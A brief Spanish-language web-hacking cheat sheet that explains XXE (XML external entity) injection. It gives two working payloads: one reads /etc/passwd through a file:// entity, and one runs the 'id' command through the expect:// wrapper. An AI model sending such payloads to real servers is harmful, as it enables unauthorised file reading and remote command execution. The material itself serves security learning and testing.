XXE - inyecciones XML

web hacking

La inyección XML es un tipo de ataque que aprovecha la forma en que una aplicación procesa datos XML para inyectar código malicioso. Esto ocurre cuando una aplicación no valida correctamente la entrada XML del usuario, lo que permite a un atacante modificar la estructura del documento XML y, por lo tanto, interferir con la lógica de la aplicación. Los atacantes pueden usar esto para acceder a archivos sensibles del servidor, realizar denegaciones de servicio o incluso realizar ataques más avanzados como la Falsificación de Solicitud del Lado del Servidor (SSRF).

XXE para divulgar archivos del servidor

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

XXE a RCE

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>